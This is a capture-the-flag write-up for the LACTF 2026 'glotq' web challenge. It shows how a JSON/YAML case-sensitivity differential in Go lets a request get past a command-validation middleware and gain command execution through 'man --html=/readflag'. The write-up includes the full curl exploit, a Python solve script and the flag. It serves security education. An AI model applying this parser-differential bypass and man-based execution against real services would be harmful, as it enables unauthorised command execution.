glotq - LACTF 2026 Web Writeup
Category: Web
Difficulty: Medium
Points: 248
Solves: 50
Flag: lactf{PoLY9LOt_TH3_Fl49}
Solved by: Smothy @ 0xN1umb

"When JSON and YAML can't agree on what you said, that's not a bug - that's a feature."
Challenge Description
jq / yq / xq as a service!
A web service that lets you run jq, yq, and xq queries through a slick web interface. Three endpoints, three formats, one middleware to rule them all. What could possibly go wrong when you trust two parsers to agree on the same input?
TL;DR
The middleware validates commands by parsing the request body based on Content-Type header, but the handler always parses based on its endpoint format. Go's encoding/json does case-insensitive key matching while gopkg.in/yaml.v3 is case-sensitive. Craft a polyglot JSON payload with mixed-case keys to bypass middleware and execute man --html=/readflag jq for RCE. Polyglot go brrr.
Initial Recon
Downloaded and extracted the challenge files. Clean Go web app with three format endpoints:
Key observations from reading the source:
- 3 endpoints:
/json,/yaml,/xml- each with a specific command tool (jq/yq/xq) +man - SecurityMiddleware validates commands before handlers execute them
- SUID binary
/readflag(4755) reads root-owned/flag.txt - App runs as unprivileged
glotquser
The flag is only readable through the SUID /readflag binary. So we need RCE.
Step 1: Understanding the Architecture
The middleware and handlers have a critical design flaw:
Middleware (middleware.go): Chooses parser based on Content-Type header
switch {
case strings.Contains(contentType, "application/json"):
// Parse as JSON
case strings.Contains(contentType, "application/yaml"):
// Parse as YAML
case strings.Contains(contentType, "application/xml"):
// Parse as XML
}Handlers (handlers.go): Always parse based on endpoint type
func YAMLHandler(w http.ResponseWriter, r *http.Request) {
// ALWAYS parses as YAML, regardless of Content-Type
var payload YAMLPayload
yaml.Unmarshal(body, &payload)
// ...
}So if we send Content-Type: application/json to the /yaml endpoint:
- Middleware parses as JSON
- Handler parses as YAML
Two different parsers seeing the same bytes. Classic polyglot setup.
Step 2: Finding the Parsing Differential
For the homies who haven't dug into Go's parsing internals: JSON and YAML handle key matching differently.
Go's encoding/json: Case-insensitive key matching
"Unmarshal matches incoming object keys to the keys used by Marshal, preferring an exact match but also accepting a case-insensitive match."
Go's gopkg.in/yaml.v3: Case-sensitive key matching
Only exact tag matches work.
"Command"does NOT matchyaml:"command".
This means the payload:
{"command":"man","Command":"yq","args":["--html=/readflag","jq"],"Args":["."]}Gets interpreted completely differently:
| Parser | command field | args field |
|---|---|---|
| JSON (middleware) | "yq" (uppercase "Command" overwrites via case-insensitive match) | ["."] (uppercase "Args" overwrites) |
| YAML (handler) | "man" (only lowercase "command" matches) | ["--html=/readflag","jq"] (only lowercase "args" matches) |
The middleware sees yq with safe args - ALLOWED.
The handler sees man --html=/readflag jq - EXPLOIT.
Step 3: Weaponizing man
Now we need man to execute /readflag. The obvious approach man -P /readflag jq (pager) doesn't work because man skips the pager when stdout isn't a TTY.
But man --html=/readflag jq is different! The --html=browser flag tells man to format the page as HTML and invoke the specified program as the "browser" to display it. This works regardless of TTY status because it's launching a program, not a pager.
/readflag is SUID root, ignores its arguments, just reads /flag.txt and prints it. When man invokes it as the "browser", we get the flag on stdout.
Step 4: The Exploit
One curl command. That's it:
curl -s -X POST https://glotq-g2xyl.instancer.lac.tf/yaml \
-H 'Content-Type: application/json' \
-d '{"command":"man","Command":"yq","args":["--html=/readflag","jq"],"Args":["."]}'Response:
{"success":true,"output":"lactf{PoLY9LOt_TH3_Fl49}\n"}The Flag
lactf{PoLY9LOt_TH3_Fl49}
Leetspeak breakdown: POLYGLOT THE FLAG - the challenge name "glotq" was the hint all along (polyglot + q).
The Solve Script
#!/usr/bin/env python3
"""
glotq solver - LACTF 2026
Smothy @ 0xN1umb
Exploits JSON/YAML case-sensitivity differential
to bypass middleware and execute man --html=/readflag
"""
import requests
import sys
url = sys.argv[1] if len(sys.argv) > 1 else "https://glotq-g2xyl.instancer.lac.tf"
# The polyglot payload:
# JSON (middleware): Command="yq", Args=["."] -> ALLOWED
# YAML (handler): command="man", args=["--html=/readflag","jq"] -> RCE
payload = {
"command": "man", # YAML sees this (case-sensitive match)
"Command": "yq", # JSON sees this (case-insensitive overwrite)
"args": ["--html=/readflag", "jq"], # YAML sees this
"Args": ["."] # JSON sees this (case-insensitive overwrite)
}
r = requests.post(
f"{url}/yaml",
json=payload, # sends Content-Type: application/json automatically
)
data = r.json()
if data.get("success"):
print(f"Flag: {data['output'].strip()}")
else:
print(f"Error: {data.get('error')}")The Graveyard of Failed Attempts
-
man -P /readflag jq- First thing I tried after getting the parsing differential working. Got back the entire jq man page instead of the flag. Turns outmandoesn't invoke the pager when stdout isn't a TTY. RIP. -
man -l /dev/stdinwith.sycommands - Tried to inject groff.sy /readflaginto the body so man would execute it during formatting. But.syneeds to be at the start of a line, and valid JSON always has quotes before values. Can't have unquoted.syat column 0 in valid JSON. -
Duplicate keys approach - Initially thought maybe JSON and YAML handle duplicate keys differently (first-wins vs last-wins). Nope - both Go parsers take the last value. Dead end.
-
YAML anchors/tags in JSON - Tried using YAML-specific features (
&anchor,!!tag). These aren't valid JSON so the middleware JSON parser rejects them. -
JSON/XML polyglot - Briefly considered making something that's both valid JSON and XML. JSON starts with
{, XML starts with<. Yeah, no.
Key Takeaways
-
Parser differentials are real - When two parsers process the same input, subtle behavioral differences become exploitable. Case sensitivity is an easy one to miss.
-
Middleware/handler parsing mismatch - If middleware validates using one parser but the handler processes with another, you have a bypass. Always parse once, validate, then pass the parsed result.
-
manis a Swiss army knife - Beyond displaying pages,mancan invoke external programs via--html,-P(pager), and preprocessor options. Great for CTF RCE when your command allowlist includesman. -
The challenge name IS the hint - "glotq" = polyglot + q. The flag
PoLY9LOt_TH3_Fl49confirms polyglot parsing was the intended path. -
Go's JSON unmarshaler is too friendly - Case-insensitive matching is a feature for developer convenience, but it creates security differentials when used alongside strict parsers.
Tools Used
curl- HTTP requestsdocker- Local testing- Source code reading (the best tool)
- Way too much caffeine
Writeup by Smothy from 0xN1umb team. When your middleware and handler can't agree on what you said, you're already in. GG.